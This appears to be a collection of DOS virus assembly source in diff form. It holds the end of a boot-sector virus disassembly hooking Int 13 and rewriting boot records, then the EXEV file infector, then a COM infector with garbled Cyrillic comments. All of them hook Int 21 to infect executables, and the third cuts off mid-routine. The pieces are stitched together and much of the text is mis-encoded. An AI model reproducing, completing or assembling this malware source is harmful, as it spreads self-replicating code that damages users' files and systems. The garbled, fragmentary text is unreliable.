||||
; |
|
||||
JB Int13_Error ;00268 721D |If Int 13 returned
|
||||
; | error go to err rtn
|
||||
PUSH DI ;0026A 57 |Save registers
|
||||
PUSH AX ;0026B 50 |
|
||||
OR DH,DH ;0026C 0AF6 |Was drive A: target?
|
||||
JNZ Exit_Virus ;0026E 7514 |Yes, Exit_Virus
|
||||
CMP CX,+01h ;00270 83F901 |Was it a 1 sector
|
||||
; | operation?
|
||||
JNZ Exit_Virus ;00273 750F |No, Exit_Virus
|
||||
MOV AX,SI ;00275 8BC6 |Restore Int 13
|
||||
; | function, sub fn
|
||||
CMP AH,02h ;00277 80FC02 |Was it a read fn?
|
||||
JZ Int13_Read ;0027A 7410 |
|
||||
CMP AH,03h ;0027C 80FC03 |
|
||||
JNZ Exit_Virus ;0027F 7503 |
|
||||
; |
|
||||
Read_New_Boot: ;---------------------------------
|
||||
; |This pushes the
|
||||
CALL Read_Boot ;00281 E8A2FF | address of
|
||||
; | Read_Boot on stack
|
||||
Exit_Virus: ;---------------------------------
|
||||
; |
|
||||
CLC ;00284 F8 |
|
||||
POP AX ;00285 58 |Restore registers
|
||||
POP DI ;00286 5F |
|
||||
; |
|
||||
Int13_Error: ;---------------------------------
|
||||
; |
|
||||
POP SI ;00287 5E |
|
||||
POP DS ;00288 1F |
|
||||
RETF 0002h ;00289 CA0200 |Return to address
|
||||
; | on stack. Discard
|
||||
; | next two bytes on
|
||||
; | stack. This
|
||||
; | eventually gets us
|
||||
; | to offset 19C (check
|
||||
; | activation & reboot)
|
||||
;---------------------------------------;---------------------------------
|
||||
Int13_Read: ; |
|
||||
; |
|
||||
PUSH CX ;0028C 51 |Push # sectors
|
||||
CMP Byte Ptr ES:[BX+28h],7Ch;0028D 26807F |Compare [0000:7C28]
|
||||
; 287C | with 7C. (Boot
|
||||
; | record offset 28).
|
||||
JNZ Boot_Changed ;00292 750D |If no, then the
|
||||
; | boot record changed.
|
||||
;00294 268B8F |MOV CX,ES:[BX+0057h]
|
||||
; 5700 |
|
||||
;
|
||||
MOV CX,ES:[BX + word ptr Install - 100h] ;Move starting sector
|
||||
; to CX
|
||||
MOV AL,01h ;00299 B001 |
|
||||
CALL Real_Int13_2 ;0029B E848FF |
|
||||
; |
|
||||
HD_Exit: ;---------------------------------
|
||||
; |
|
||||
POP CX ;0029E 59 |
|
||||
JMP Short Exit_Virus ;0029F EBE3 |
|
||||
;---------------------------------------;---------------------------------
|
||||
Boot_Changed: ; |
|
||||
; |
|
||||
PUSH DX ;002A1 52 |Save drive info
|
||||
MOV CL,11h ;002A2 B111 |CX=0011 (Changed)
|
||||
TEST DL,80h ;002A4 F6C280 |Is it a hard drive?
|
||||
JNZ Hard_Drive ;002A7 7534 |Yes, goto Hard_Drive
|
||||
MOV CH,28h ;002A9 B528 |
|
||||
CMP Byte Ptr ES:[BX+15h],0FCh;002AB 26807F |
|
||||
; 15FC |
|
||||
JNB H0000_02B4 ;002B0 7302 |
|
||||
SAL CH,1 ;002B2 D0E5 |
|
||||
; |
|
||||
H0000_02B4: ;---------------------------------
|
||||
; | This code not
|
||||
PUSH ES ;002B4 06 | analyzed as of
|
||||
PUSH BX ;002B5 53 | April 21st.
|
||||
XOR AX,AX ;002B6 33C0 |
|
||||
MOV ES,AX ;002B8 8EC0 |
|
||||
LES BX,DWord Ptr ES:[0078h] ;002BA 26C41E |
|
||||
; 7800 |
|
||||
; |Load ES & operand
|
||||
; | from memory
|
||||
PUSH ES ;002BF 06 |
|
||||
PUSH BX ;002C0 53 |
|
||||
INC AL ;002C1 FEC0 |
|
||||
MOV CL,AL ;002C3 8AC8 |
|
||||
XCHG CL,ES:[BX+04h] ;002C5 26864F04|
|
||||
MOV AH,05h ;002C9 B405 |
|
||||
MOV BX,0059h ;002CB BB5900 |
|
||||
MOV [BX],CH ;002CE 882F |
|
||||
PUSH CS ;002D0 0E |
|
||||
POP ES ;002D1 07 |
|
||||
CALL Real_Int13_2 ;002D2 E811FF |
|
||||
POP BX ;002D5 5B |
|
||||
POP ES ;002D6 07 |
|
||||
XCHG CL,ES:[BX+04h] ;002D7 26864F04|
|
||||
POP BX ;002DB 5B |
|
||||
POP ES ;002DC 07 |
|
||||
; |
|
||||
Hard_Drive: ;---------------------------------
|
||||
; |
|
||||
CALL Setup_Int13 ;002DD E803FF |Prepare for Write
|
||||
POP DX ;002E0 5A |Get drive info
|
||||
JB HD_Exit ;002E1 72BB |On error exit
|
||||
MOV DS:[0057h],CX ;002E3 890E5700|DS:[57]=11 (Changed)
|
||||
MOV Word Ptr ES:[BX],1CEBh ;002E7 26C707 |[0000:7C00] now holds
|
||||
; EB1C | EB 1C.
|
||||
MOV SI,001Eh ;002EC BE1E00 |SI=001E
|
||||
;-------------------------------;---------------------------------
|
||||
;LEA DI,[BX+001Eh] ; |TASM will emit 8D7F1E
|
||||
; |for this instruction,
|
||||
DB 8Dh,0BFh,1Eh,00h ;002EF 8DBF1E00|so assemble as DB's
|
||||
; |BX=7C00 SI=001E
|
||||
; |ES=0000 DI=7C1E
|
||||
;-------------------------------;---------------------------------
|
||||
MOV CX,01E0h ;002F3 B9E001 |cx=01E0h si=001Eh
|
||||
REP MOVSB ;002F6 F3A4 |Move DS:SI to ES:DI
|
||||
; |Restore boot record
|
||||
; | from ofs 7C00:001E
|
||||
; | Note initial jump
|
||||
; | restored to EB 1C.
|
||||
POP CX ;002F8 59 |CX=number of sectors
|
||||
CALL Setup_Int13 ;002F9 E8E7FE |Write the new boot
|
||||
; | record.
|
||||
JMP Short Read_New_Boot ;002FC EB83 |Read it and process.
|
||||
;---------------------------------------;---------------------------------
|
||||
Boot_ID DW 0AA55h ;002FE 55AA |All valid boot
|
||||
; | sectors end with
|
||||
; | 55AA
|
||||
ENDS ;---------------------------------
|
||||
; Disassembly by Arthur Ellis and ??
|
||||
END Boot_Start ; [Suggestions by Lucifer Messiah]
|
||||
; April, 1993
|
||||
;-------------------------------------------------------------------------
|
||||
|
||||
|
||||
|
||||
--
|
||||
Eric "Mad Dog" Kilby maddog@ccs.neu.edu
|
||||
The Great Sporkeus Maximus ekilby@lynx.dac.neu.edu
|
||||
Student at the Northeatstern University College of Computer Science
|
||||
"I Can't Believe It's Not Butter"
|
||||
|
||||
@@ -0,0 +1,269 @@
|
||||
|
||||
PAGE 59,132
|
||||
|
||||
;ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
|
||||
;ÛÛ ÛÛ
|
||||
;ÛÛ EXEV ÛÛ
|
||||
;ÛÛ ÛÛ
|
||||
;ÛÛ Created: 2-Jun-90 ÛÛ
|
||||
;ÛÛ Version: ÛÛ
|
||||
;ÛÛ Passes: 9 Analysis Options on: ABCDEFPX ÛÛ
|
||||
;ÛÛ ÛÛ
|
||||
;ÛÛ ÛÛ
|
||||
;ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
|
||||
|
||||
data_13e equ 1000h ; (6B7E:1000=0)
|
||||
|
||||
seg_a segment byte public
|
||||
assume cs:seg_a, ds:seg_a
|
||||
|
||||
|
||||
org 100h
|
||||
|
||||
exev proc far
|
||||
|
||||
start:
|
||||
mov dx,offset data_1 ; (6B7E:010A=0Ah)
|
||||
mov ah,9
|
||||
int 21h ; DOS Services ah=function 09h
|
||||
; display char string at ds:dx
|
||||
jmp loc_2 ; (0A10)
|
||||
data_1 db 0Ah, 0Dh, '‚ ¸¨¿² ¿§®¢¨° ¥ § °¨¡¥. '
|
||||
db 'Œ © ±¬¥«® ! ..', 0Ah, 0Dh, '$'
|
||||
db 0
|
||||
db 1928 dup (0)
|
||||
data_3 dw 0
|
||||
db 0, 0, 0, 0
|
||||
data_4 dw 0
|
||||
data_5 dw 0
|
||||
data_6 dw 0
|
||||
db 0, 0, 0, 0
|
||||
data_7 dw 0
|
||||
db 0, 0, 0, 0
|
||||
data_8 dw 0
|
||||
data_9 dw 0
|
||||
db 310 dup (0)
|
||||
loc_2:
|
||||
cld ; Clear direction
|
||||
mov ax,352Bh
|
||||
int 21h ; DOS Services ah=function 35h
|
||||
; get intrpt vector al in es:bx
|
||||
mov bp,ds
|
||||
push cs
|
||||
pop ds
|
||||
add word ptr jmp_far+3,bp ; �°¨¡ ¢¿ ªº¬ JMP FAR ²¥ª³¹¨¿ ±¥£¬¥²
|
||||
mov si,0A10h ; �°¥¬¥±²¢ £® ¢ ±¥£¬¥² ª®©²® ±®·¨
|
||||
mov di,si ; ES ²®¢ ¥ ±¥£¬¥² INT 21H
|
||||
mov cx,180h
|
||||
rep movsb ; Rep when cx >0 Mov [si] to es:[di]
|
||||
push es ; ‘«¥¤ ª ²® £® ¯°¥¬¥±²¨ ±¥ ®¡°º¹ ªº¬
|
||||
mov ax,offset prehod ; ¥£®,® ®¢¨¿ ¤°¥±
|
||||
push ax
|
||||
retf ; Return far
|
||||
prehod label word
|
||||
lea di,[bx+1Bh] ; ‡ °¥¦¤ ±¥£¬¥² ¢°º¹ ¥ ¢ JMP FAR
|
||||
mov al,0E9h ; ‡ ¯¨±¢ ª®¤ JMP
|
||||
stosb ; Store al to es:[di]
|
||||
mov ax,offset jmp_far+3 ; ’®¢ ¥ ¤°¥± ª®©²® ²°¿¡¢ ¤ ±¥
|
||||
sub ax,di ; ®¡°º¹ ,¨§¢ ¦¤ £® ®² ®²¬¥±²¢ ¥²®
|
||||
stosw ; INT 21H ¨ £® § ¯¨±¢
|
||||
stosw ; ’®¢ § ¯¨±¢ ¢ ®±² «¨²¥ ¡ ©²®¢¥
|
||||
stosw ; ¯° §¨ ¨±²°³ª¶¨¨
|
||||
mov cs:data_3,di ; ’®¢ ¥ ¤°¥± INT 21H
|
||||
mov ax,ss ; ‚º§±² ®¢¿¢ SS
|
||||
sub ax,18h
|
||||
cli
|
||||
mov ss,ax
|
||||
lea ax,[bp+10h] ; ‚§¥¬ ¤°¥± ®² ª®©²® ²°¿¡¢
|
||||
mov bx,11h ; ¤ ±¥ § °¥¤¨ ¯°®£° ¬ ²
|
||||
move label word
|
||||
loc_3:
|
||||
mov es,ax
|
||||
add ax,18h
|
||||
mov ds,ax
|
||||
xor si,si ; �°¥¬¥±²¢ ¡«®ª®¢¥ ¯® 180h ¡ ©² §
|
||||
xor di,di ; ¤ £¨ ¢º°¥ ¬¿±²®²® ¨¬.�° ¢¨ £®
|
||||
mov cx,0C0h ; 11h ¯º²¨ § ¤ ±¥ ¨§° ¢¨
|
||||
rep movsw ; Rep when cx >0 Mov [si] to es:[di]
|
||||
dec bx
|
||||
jns loc_3 ; Jump if not sign
|
||||
sti ; Enable interrupts
|
||||
mov ds,bp ; ‚º§±² ®¢¿¢ DS ¨ ES
|
||||
push ds
|
||||
pop es
|
||||
jmp_far: db 0EAh,0,0,0,0 ; ’®¢ ¥ ¤°¥± § ¢°º¹ ¥ ¨ JMP FAR
|
||||
int_21: cld ; Ž’ ’“Š ‡€�Ž—‚€ Ž��€�Ž’Š€’€ �€ INT 21H
|
||||
cmp ah,3Dh ; '='
|
||||
je loc_4 ; Jump if equal
|
||||
cmp ah,4Bh ; 'K'
|
||||
jne loc_5 ; Jump if not equal
|
||||
loc_4: ; xref 6B7E:0A70
|
||||
push es
|
||||
call sub_5 ; (0AAD)
|
||||
pop es
|
||||
loc_5: ; xref 6B7E:0A75
|
||||
jmp cs:data_3 ; JMP ªº¬ INT 21h
|
||||
|
||||
exev endp
|
||||
|
||||
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
|
||||
; SUBROUTINE
|
||||
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
|
||||
|
||||
sub_1 proc near ; —¥²¥/§ ¯¨±¢ ¯°¥´¨ª± ´ ©«
|
||||
mov cx,20h ; � §¯®« £ £® ®² INT 21H_SEG:8C2
|
||||
mov dx,8C2h
|
||||
jmp short loc_6 ; (0A90) ; (0A90)
|
||||
|
||||
;ßßßß External Entry into Subroutine ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
|
||||
|
||||
sub_2:
|
||||
mov ax,4200h
|
||||
xor dx,dx ; Zero register
|
||||
|
||||
;ßßßß External Entry into Subroutine ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
|
||||
|
||||
sub_3:
|
||||
xor cx,cx
|
||||
|
||||
;ßßßß External Entry into Subroutine ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
|
||||
|
||||
sub_4: ; Ž¡°º¹ ±¥ ªº¬ INT 21H
|
||||
loc_6: ; xref 6B7E:0A87
|
||||
pushf ; Push flags
|
||||
push cs
|
||||
call cs:data_3 ; (6B7E:08C0=0)
|
||||
retn
|
||||
sub_1 endp
|
||||
|
||||
abort : mov al,3 ; ‚µ®¤ ²®·ª INT 24H
|
||||
iret ; Interrupt return
|
||||
_1 dw 17D0h
|
||||
dw 1509h
|
||||
dw 154Ch
|
||||
_2 dw 0F7Ah
|
||||
dw 15DCh ;’³ª ¥ ¨ ¤°¥± INT 13H
|
||||
dw 161Fh
|
||||
|
||||
_3 dw 0FC9h,15DCh,161Fh ;’®¢ ± ¤ ¨²¥ §
|
||||
;INT 25H,INT 26H,INT 27H
|
||||
|
||||
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
|
||||
; SUBROUTINE
|
||||
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
|
||||
|
||||
sub_5 proc near
|
||||
push di ; ‡ ¯ §¢ °¥£¨±²°¨²¥
|
||||
push si
|
||||
push dx
|
||||
push cx
|
||||
push bx
|
||||
push ax
|
||||
push ds
|
||||
xor ax,ax ; Zero register
|
||||
mov ds,ax
|
||||
push cs
|
||||
pop es
|
||||
mov si,4Ch
|
||||
push si
|
||||
mov di,8E2h
|
||||
mov cx,28h ; ‡ ¯ §¢ ¯°ªº±¢ ¨¿² ®² 13H ¤® 24H
|
||||
rep movsw ; Rep when cx >0 Mov [si] to es:[di]
|
||||
pop di
|
||||
push ds
|
||||
pop es
|
||||
mov al,70h ; 'p'
|
||||
mov ds,ax
|
||||
mov al,ds:data_13e ;�®±² ¢¿ ¢ al ±º¤º°¦ ¨¥²® 70:1000
|
||||
mov si,offset _1
|
||||
cmp al,0
|
||||
je loc_7 ; Jump if equal
|
||||
mov si,offset _2
|
||||
cmp al,0Fh
|
||||
je loc_7 ; Jump if equal
|
||||
mov si,offset _3
|
||||
loc_7: ; xref 6B7E:0AD5, 0ADC
|
||||
push cs
|
||||
pop ds
|
||||
movsw
|
||||
mov al,70h ; ‘¬¥¿ INT 13H
|
||||
stosw ; Store ax to es:[di]
|
||||
mov di,90h
|
||||
mov ax,offset abort ; ‘¬¥¿ ¤°¥± INT 24H
|
||||
stosw ; Store ax to es:[di]
|
||||
mov ax,cs
|
||||
stosw
|
||||
movsw
|
||||
stosw ; ‚°º¹ ®°¨£¨ «¨²¥ ¢µ®¤¨
|
||||
movsw ; ²®·ª¨ INT 25H , INT 26H ,
|
||||
stosw ; INT 27H
|
||||
pop ds
|
||||
mov ax,3D02h ; ޲¢ °¿ ´ ©« § ·¥²¥¥/§ ¯¨±
|
||||
call sub_4 ; (0A90)
|
||||
push ds
|
||||
push cs
|
||||
pop ds
|
||||
mov bx,ax
|
||||
mov ax,5700h ; ‚§¥¬ ¤ ² ² ¨ · ± ´ ©«
|
||||
jc loc_9 ; Jump if carry Set
|
||||
call sub_4 ; (0A90)
|
||||
push cx ; ‡ ¯ §¢ ¤ ² ² ¨ · ± ¢ ±²¥ª
|
||||
push dx
|
||||
mov ah,3Fh ; ”³ª¶¨¿ § ·¥²¥¥ ¯°¥´¨ª±
|
||||
call sub_1 ; (0A81)
|
||||
cmp data_5,0 ; �°®¢¥°¿¢ § ¯°¥¬¥±²¢ ¥¬¨ ±¨¬¢®«¨
|
||||
jne loc_8 ; ‡ ²¢ °¿ ¨ ¨§«¨§
|
||||
cmp data_6,ax ; �°®¢¥°¿¢ ° §¬¥° ¯°¥´¨ª± 0 ?
|
||||
jne loc_8 ; Jump if not equal
|
||||
mov ax,data_4 ; �®±² ¢¿ ¢ AX ¤º«¦¨ ² ´ ©«
|
||||
shl ax,1 ; “¬®¦ ¢ ¿ ¯® 2
|
||||
mov word ptr move-2,ax ; ‡ ¯¨±¢ ª®«ª® ¯º²¨ ¤ ±¥ ¯°¥¬¥±²¨
|
||||
sub data_6,18h ; � ¬ «¿¢ ¤º«¦¨ ² ¯°¥´¨ª±
|
||||
add data_7,18h ; “¢¥«¨· ¢ ®²¬¥±²¢ ¥²® SS ± 18h
|
||||
mov ax,0A10h
|
||||
xchg ax,data_8 ; IP ¤ ¡º¤¥ ®²¬¥±²¢ ¥ A10h
|
||||
mov word ptr jmp_far+1,ax ; ‡ ¯ §¢ IP ¢ FAR JMP
|
||||
mov ax,0FF5Fh ; �®±² ¢¿ CS ² ª ,·¥ CS:IP ¤
|
||||
xchg ax,data_9 ; ±®·¨ · «®²® ¢¨°³±
|
||||
add ax,10h
|
||||
mov word ptr jmp_far+3,ax ; �®±² ¢¿ ¢ JMP FAR ±¥£¬¥²
|
||||
call sub_2 ; �®±² ¢¿ ¢ · «®²® ´ ©«
|
||||
mov ah,40h ; ‡ ¯¨±¢ ¯°¥´¨ª±
|
||||
call sub_1 ; (0A81)
|
||||
mov ax,4200h
|
||||
mov dx,80h ;�°¥¬¥±²¢ ¯®ª § «¥¶ 80h
|
||||
call sub_3 ; (0A8E)
|
||||
mov cx,180h
|
||||
mov dx,0A10h
|
||||
mov ah,40h ; ‡ ¯¨±¢ ¢¨°³±
|
||||
call sub_4 ; (0A90)
|
||||
loc_8: ; xref 6B7E:0B15, 0B1B
|
||||
pop dx
|
||||
pop cx
|
||||
mov ax,5701h ; ‡ ¯¨±¢ ±² °¨¿ · ± ¨ ¤ ²
|
||||
call sub_4 ; (0A90)
|
||||
mov ah,3Eh ; ‡ ²¢ °¿ ´ ©«
|
||||
call sub_4 ; (0A90)
|
||||
loc_9: ; xref 6B7E:0B04
|
||||
mov si,8E2h
|
||||
mov di,4Ch
|
||||
mov cx,28h ; ‚°º¹ ¯°¥ªº±¢ ¨¿²
|
||||
rep movsw ; Rep when cx >0 Mov [si] to es:[di]
|
||||
pop ds
|
||||
pop ax ; ‚º§±² ®¢¿¢ °¥£¨±²°¨²¥
|
||||
pop bx
|
||||
pop cx
|
||||
pop dx
|
||||
pop si
|
||||
pop di
|
||||
retn
|
||||
sub_5 endp
|
||||
|
||||
db 'The Rat, Sofia'
|
||||
|
||||
|
||||
|
||||
seg_a ends
|
||||
|
||||
end start
|
||||
|
||||
@@ -0,0 +1,261 @@
|
||||
jumps
|
||||
;
|
||||
; �¥ª®¬¥¤ã¥âáï ®âª®¬¯¨«¨à®¢ âì, § ¯ãáâ¨âì ¨ ⮫쪮 ¯®â®¬ à áᬠâਢ âì
|
||||
; source code. (‚á¥ à ¢® ‚ ¬ ¢ ¥¬ à §¡¨à âìáï ¯à¨¤¥âáï :-)).
|
||||
;
|
||||
; Œ¨«¥ìª ï (¬ «¥ìª ï) £ ¤®áâì, ¬¥à§®áâì, ¤àïì, ᪮⨠...
|
||||
;
|
||||
; ‚ ®¡é¥¬, ¢¨àãá, ª®â®àë© § à ¦ ¥â ¢á直¥ â ¬ ä ©«ë ¯à¨ ¯®¯ë⪥ ¨å
|
||||
; § ¯ãáâ¨âì - ¯®ª á ä ¬¨«¨¥© .COM, ¦¨¢¥â £¤¥-â® ç¥à¤ ª¥ ¯®¤ ¢¥ªâ®à®¬
|
||||
; 21-£® ¨â¥àà ¯â , ¥ áªàë¢ ¥â ᢮¥ ⥫® ¦¨à®¥ ¢ ãâ¥á å, § à ¦¥ë¥
|
||||
; ä ©«ë ®¯®§ ¥â ¯® èãਪ¥ã (â ª®© ⨯ §¢¥§¤®çª¨, ¨á¯®«ì§ã¥âáï ã
|
||||
; ¢®áâ®çëå த®¢ ¤«ï ®âᥪ ¨ï £®«®¢ë ¨ ¥é¥ ª®¥-祣® ã ¡«¨¦¥£®
|
||||
; ᢮¥£®), à ᯮ«®¦¥®¬ã ¢ 4-®¬ ¡ ©â¥ ®â ç « , ᢮¥ «¨ç¨¥ ¢
|
||||
; ¯ ¬ï⨠¯à®¢¥àï¥â â ª: ª« ¤¥â ¢ AX á«®¢® BABA (¢ á¬ëá«¥, ¥ â ª®¥
|
||||
; á«®¢®, word 0BABAh), ¢ë¯®«ï¥â 21-¥ ¨â¥àà ¯â®¢ ¨¥ ¨ ᬮâà¨â,
|
||||
; ¦¥« îâ «¨ íâã ¡ ¡ã 0FACCh. …᫨ ¦¥« îâ, â® á â 窮© ¢á¥ ¯®ïâ®.
|
||||
;
|
||||
; Copyright (c) 1992, Gogi&Givi International
|
||||
;
|
||||
|
||||
.model tiny
|
||||
.code
|
||||
org 0100h
|
||||
VirPar equ (endvir-StartVirus)/16+2 ; ‘ª®ª ã ¢¨àãá ¯ à £à 䮢
|
||||
VirLen equ (endvir-StartVirus) ; � §¬¥àë ¡îáâ ¢¨àãá ¢
|
||||
; âà¥ã£®«ìëå ª¨«®¬¥âà å
|
||||
gadost:
|
||||
db 'è' ; …â® ª®¤ CALL
|
||||
dw StartVirus-$-2 ; € ¥â® ᬥ饨¥ StartVirus
|
||||
db 15,09h ; ˜ãਪ¥ ¨ ®áâ ⮪ ®â mov ah,
|
||||
int 21h ; € íâ® ¢á¥ ®à¬ «ìë©
|
||||
ret ; ª®¤ ¦¥àâ¢ë
|
||||
GoodMessage db '’®¢ à¨é ‹®§¨áª¨©! ”€Š ž!',13,10,'$'
|
||||
; � ª®áâë© ¬¥áá ¤¦ ¤«ï ¤ï¤¨
|
||||
; ‹®§¨áª®£®
|
||||
StartVirus:
|
||||
pop si ; �â® ç⮡ë ã§ âì, ªã¤ á
|
||||
call EntryPoint ; § ¥á«®
|
||||
EntryPoint:
|
||||
pop si ; ‚믨奬 ¤à¥á ç « § à §ë
|
||||
push ds ; ‘®åà ¨¬ ¯ àã-âனªã ॣ¨áâ஢...
|
||||
push es
|
||||
push si
|
||||
mov ax,cs ; ‚®ááâ ®¢¨¬ ᯥàâë¥ ¡ ©âë
|
||||
mov es,ax ; ¨§ § ¤¨æë ä ©«
|
||||
mov ds,ax
|
||||
mov di,0100h
|
||||
add si,RobbedBytes-EntryPoint
|
||||
mov cx,4
|
||||
cld ; �â® ¢®ááâ ®¢«¥¨¥
|
||||
rep movsb
|
||||
pop si
|
||||
mov ax,0ABABh ; �஢¥à¨¬, å®âïâ «¨ ¡ ¡ã -
|
||||
int 21h ; ¢ á¬ëá«¥, ¥áâì «¨ ¬ë
|
||||
cmp ax,0FAAFh ; ¢ ¯ ¬ïâ¨
|
||||
jne NeedsBaba ; ‚¨¤ âì, å®âïâ ¥¥, த¨¬ãî!
|
||||
jmp FucksNow ; …¥ 㦥 ®¡à ¡ âë¢ îâ
|
||||
NeedsBaba:
|
||||
pop es
|
||||
push es
|
||||
mov ax,es ; Žâàë¢ ¥¬ ᥡ¥ á¥â PSP
|
||||
dec ax
|
||||
mov es,ax ; ‘⮫쪮 ¢ 襩 ¯ ª®áâ¨
|
||||
mov ax,es:[3] ; ¯ à £à 䮢
|
||||
sub ax,virpar
|
||||
mov es:[3],ax
|
||||
mov bx,es:[1] ; �«îá ®¤ PSP
|
||||
add bx,ax ; ‚ᥠᢠ«¨¢ ¥¬ ¢ ªãçã
|
||||
mov es,bx
|
||||
push ds ; �ã, íâ® ¯®ïâ®
|
||||
xor ax,ax
|
||||
mov ds,ax
|
||||
mov ax,ds:[21h*4] ; ‡ å¢ âë¢ ¥¬ áâ àë©
|
||||
mov cs:[si+Off21-EntryPoint],ax ; ¢¥ªâ®à int 21h
|
||||
mov ax,ds:[21h*4+2] ; ‚ á¬ëá«¥, ® ¥ áâ àë©,
|
||||
mov cs:[si+Seg21-EntryPoint],ax ; ® ¤ ¦¥ «ãçè¥ ®¢®£®
|
||||
pop ds
|
||||
xor di,di ; ‡ á®¢ë¢ ¥¬ ¢ ç «®
|
||||
push si ; ¨ç¥©®£® ᥣ¬¥â
|
||||
sub si,EntryPoint-StartVirus ; £¤¥-â® § ¤¢®àª å
|
||||
mov cx,VirLen ; ¯ ¬ïâ¨ è¥ £ãᮥ
|
||||
rep movsb ; ⥫®
|
||||
pop si
|
||||
push ds ; ˆ áâ ¢¨¬ 㪠§ ®¥
|
||||
xor ax,ax ; £ãᮥ ⥫® ¢¥ªâ®à
|
||||
mov ds,ax ; ¯à¥àë¢ ¨ï 21h
|
||||
mov word ptr ds:[21h*4],Int21Server-StartVirus
|
||||
mov ds:[21h*4+2],es
|
||||
pop ds
|
||||
|
||||
FucksNow:
|
||||
pop es ; �â® ¢ á«ãç ¥, ¥á«¨
|
||||
pop ds ; ¯à¥¤«®¦¥®© ¦¥é¨®©
|
||||
mov si,0100h ; (¢¨àãᮬ) 㦥 ®¡« ¤ îâ
|
||||
push si
|
||||
xor ax,ax ; ‚ᥠ¢®ááâ ¢«¨¢ ¥¬ ª
|
||||
xor bx,bx ; ï¤à¥¥ ”¥¥ - ¨ ¤®¬®©,
|
||||
xor di,di ; ª ¬ ¬¥
|
||||
ret
|
||||
|
||||
Int21Server:
|
||||
pushf ; �â® ®¢ë© ®¡à ¡®â稪
|
||||
push ax ; 21-£® ¨â
|
||||
push bx
|
||||
push ds
|
||||
cmp ax,0ABABh ; ’ãâ ¬ë ãáâ ®¢¨¬ ॠªæ¨î
|
||||
jne NotTest ; ¯à¥¤«®¦¥¨¥ ¦¥é¨ë
|
||||
pop ds ; (¨«¨ í४æ¨î)
|
||||
pop bx
|
||||
pop ax
|
||||
popf
|
||||
mov ax,0FAAFh ; �â® ®à¬ «ì ï í४æ¨ï
|
||||
iret ; (â® ¥áâì ॠªæ¨ï)
|
||||
|
||||
NotTest:
|
||||
push cx ; ’ãâ ¬ë ª« áá® ¨§¢à ⨬áï,
|
||||
mov cx,ax ; ç⮡ë ᤥ« âì ¢¨¤, çâ®
|
||||
xchg cl,ch ; ¬ ᮢᥬ ¥ 㦮
|
||||
xor cl,4Bh ; ®¡à ¡ âë¢ âì äãªæ¨î EXEC
|
||||
pop cx ; (—⮡ ‹®§¨áª¨© £®«®¢ã «®¬ «
|
||||
jz Exec ; ¨ ç⮡ ã ¥£® ®çª¨ § ¯®â¥«¨)
|
||||
jmp NotExec
|
||||
|
||||
Exec:
|
||||
mov bx,dx ; �®ª« ¤¥¬ ᬥ饨¥ ¨¬¥¨
|
||||
; § ¯ã᪠¥¬®£® ä ©« ¢ BX
|
||||
SearchZero:
|
||||
cmp byte ptr ds:[bx],0 ; �஢¥à¨¬ §¥àã
|
||||
je ZeroFound ; €å, ª®¥æ ¨¬¥¨!
|
||||
inc bx
|
||||
jmp SearchZero
|
||||
|
||||
ZeroFound:
|
||||
sub bx,11 ; —㤥á®!
|
||||
push es ; �஢¥à¨¬, ¢¤à㣠ª ª®©-
|
||||
mov ax,cs ; ¨¡ã¤ì ¯á¨å ¦¥« ¥â
|
||||
mov es,ax ; § à §¨âì COMMAND.COM
|
||||
mov cx,11
|
||||
mov di,offset CommandName-StartVirus
|
||||
|
||||
Compare:
|
||||
mov al,ds:[bx] ; �â® ¢á¥ á«®¦ ï ¨ 㤠ï
|
||||
cmp al,es:[di] ; ¯à®æ¥¤ãà ¯à®¢¥àª¨...
|
||||
jne NotCommand
|
||||
inc bx
|
||||
inc di
|
||||
dec cx ; ‚ᥠ¯à®¢¥à塞, ¯à®¢¥à塞...
|
||||
cmp cx,0
|
||||
jne Compare
|
||||
pop es
|
||||
jmp Quit21Server ; —â® ¦ ï - ¤¥¡¨« COMMAND.COM
|
||||
; § à ¦ âì?!
|
||||
NotCommand:
|
||||
pop es ; ’ ¬ ¬ë á®åà 﫨 祣®©-â
|
||||
push ax
|
||||
push bx ; ‘®åà ¨¬ ¢á¥, çâ® ¯«®å®
|
||||
push cx ; «¥¦¨â, çâ®¡ë ¥ ¯à®¯ «®
|
||||
push dx
|
||||
mov ax,3D02h ; Žâªã¯®à¨¢ ¥¬ ª«¨¥â (ä ©«)
|
||||
int 21h
|
||||
jc EndExec1 ; �ë¢ îâ ¨ £ãâë¥ ¯à®¡ª¨
|
||||
mov bx,ax ; �®ª« ¤¥¬ ¯à®¡ªã ®â ä ©« ¢ BX
|
||||
mov cx,4 ; •®â¥«®áì ¡ë áç¨â âì 4 ¡ ©â
|
||||
mov ax,cs
|
||||
mov ds,ax
|
||||
mov ah,3Fh ; ‚ ¬¥áâ®, £¤¥ «¥¦ «¨
|
||||
mov dx,offset RobbedBytes-StartVirus
|
||||
int 21h ; ᯥàâë¥ ¡ ©âë
|
||||
jc EndExec1
|
||||
